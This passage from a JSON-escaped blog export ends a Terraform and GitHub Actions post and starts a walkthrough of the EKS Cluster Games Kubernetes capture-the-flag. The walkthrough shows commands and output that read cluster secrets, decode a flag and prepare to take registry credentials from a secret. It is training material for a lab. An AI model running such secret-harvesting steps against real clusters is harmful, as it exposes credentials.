#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etoken\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esourceRunId\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ github.event.workflow_run.id }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emerge a pull request after terraform apply\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo-bot/action-pull-request-merge@v1.2.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003egithub-token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003enumber\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ steps.workflow-run-info.outputs.pullRequestNumber }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will wait until the \u003ccode\u003epr_apply\u003c/code\u003e job completes and as long as it was\nsuccessful it'll merge the branch!\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE\u003c/strong\u003e: As I mentioned earlier, the event based actions do not run in the\ncontext of the pull request which means you cannot test changes to them during\nthe PR either.  You must merge the \u003ccode\u003eon-apply-finished.yml\u003c/code\u003e file to \u003ccode\u003emain\u003c/code\u003e\nbefore it starts working.\u003c/p\u003e\n\u003ch1\u003eBranch Protection\u003c/h1\u003e\n\u003cp\u003eThe final step to the process is to make sure you go to your github settings\nand make sure these status checks are required before merging. Branch protection\nis a feature that will prevent merging changes into a branch unless all\nrequired checks are passing.\u003c/p\u003e\n\u003cp\u003eGo to \u003ccode\u003eSettings\u003c/code\u003e -\u003e \u003ccode\u003eBranches\u003c/code\u003e -\u003e \u003ccode\u003eBranch Protection\u003c/code\u003e and add a branch\nprotection rule:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/branch_protection.png\" width=\"500\"\u003e\n\u003c/center\u003e\n\u003cp\u003eYou want to enable the following settings:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eBranch Name\u003c/strong\u003e: main\u003c/li\u003e\n\u003cli\u003e✅ Require a pull request before merging\u003c/li\u003e\n\u003cli\u003e✅ Require status checks to pass before merging\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThen for \u003ccode\u003eStatus checks that are required.\u003c/code\u003e select all of the ones we've\ncreated:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/required_checks.png\" height=\"200\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eHelpful Resources\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/tutorials/cloud/dynamic-credentials?product_intent=terraform\"\u003eTerraform Dynamic Credentials Tutorial\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/cloud-docs/workspaces/dynamic-provider-credentials/aws-configuration\"\u003eTerraform docs on Dynamic Credentials\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#understanding-the-oidc-token\"\u003eGithub's understanding OIDC\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","category":"AWS","date":"2023-06-22T19:00:00-05:00","tags":["AWS","DevOps","SRE"],"title":"AWS From Scratch with Terraform - Setting up your Root Account for IaC  with Terraform Cloud and Github actions."}]},"Security":{"count":1,"posts":[{"id":["2023","eks_cluster_games_ctf"],"path":"2023/eks_cluster_games_ctf","contentHtml":"\u003cp\u003e\u003ca href=\"https://eksclustergames.com\"\u003eeksclustergames.com\u003c/a\u003e is a new CTF targetted at\nkubernetes vulnerabilities. This is a walk through on how to solve the issues.\u003c/p\u003e\n\u003ch1\u003eChallenge 1\u003c/h1\u003e\n\u003cp\u003eThe first challenge starts off with a clue:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eJumpstart your quest by listing all the secrets in the cluster.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eCan you spot the flag among them?\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo lets start off by getting the secrets:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTYPE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDATA\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003elog-rotate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOpaque\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e37\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eh\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSince there is only one, lets view it!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"items\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"data\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"flag\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Secret\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:02:08Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"name\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"log-rotate\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"namespace\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"challenge1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"890951\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"uid\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"03f6372c-b728-4c5b-ad28-70d5af8d387c\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"type\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Opaque\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"List\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe flag seems to be in \u003ccode\u003e.items[0].data.flag\u003c/code\u003e and is \u003ccode\u003ebase64\u003c/code\u003e encoded so we can\ndecode it as well:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].data.flag'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-r\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{omg_over_privileged_*REDACTED*}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eFirst flag found!\u003c/p\u003e\n\u003cp\u003eThis one was definitely a softball but it gets you nice and warmed up on the\nplatform.\u003c/p\u003e\n\u003ch1\u003eChallenge 2\u003c/h1\u003e\n\u003cp\u003eThe hint for this challenge is:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eA thing we learned during our research: always check the container registries.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eFor your convenience, the crane utility is already pre-installed on the machine.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe first thing I think of when reading this is that it has something to do\nwith the registry a pod is living on.   So lets list the pods and see what is\navailable:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edatabase-pod-2c9b3a4e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e36\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eh\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWith only one pod as a target, lets get the image for it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].spec.containers[0].image'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e\"eksclustergames/base_ext_image\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo its on standard \u003ccode\u003edocker.io\u003c/code\u003e registry instead of a private one like I was\nexpecting from the clue.   The second hint was that crane is on the system so\nlets use that to pull the image and inspect it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeksclustergames/base_ext_image\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eError:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efetching\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereading\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"eksclustergames/base_ext_image\":\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eGET\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://index.docker.io/v2/eksclustergames/base_ext_image/manifests/latest:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUNAUTHORIZED:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthentication\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erequired\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e; [map[Action:pull Class: Name:eksclustergames/base_ext_image Type:repository]]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich means this is a private image and we are going to need to get some\ncredentials to an account that has access to this image. Usually you have to\ndefine a secret for kubernetes to be able to pull from private registries and\nsince we started off with a secret test first that is where I'm going to go\nnext:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan 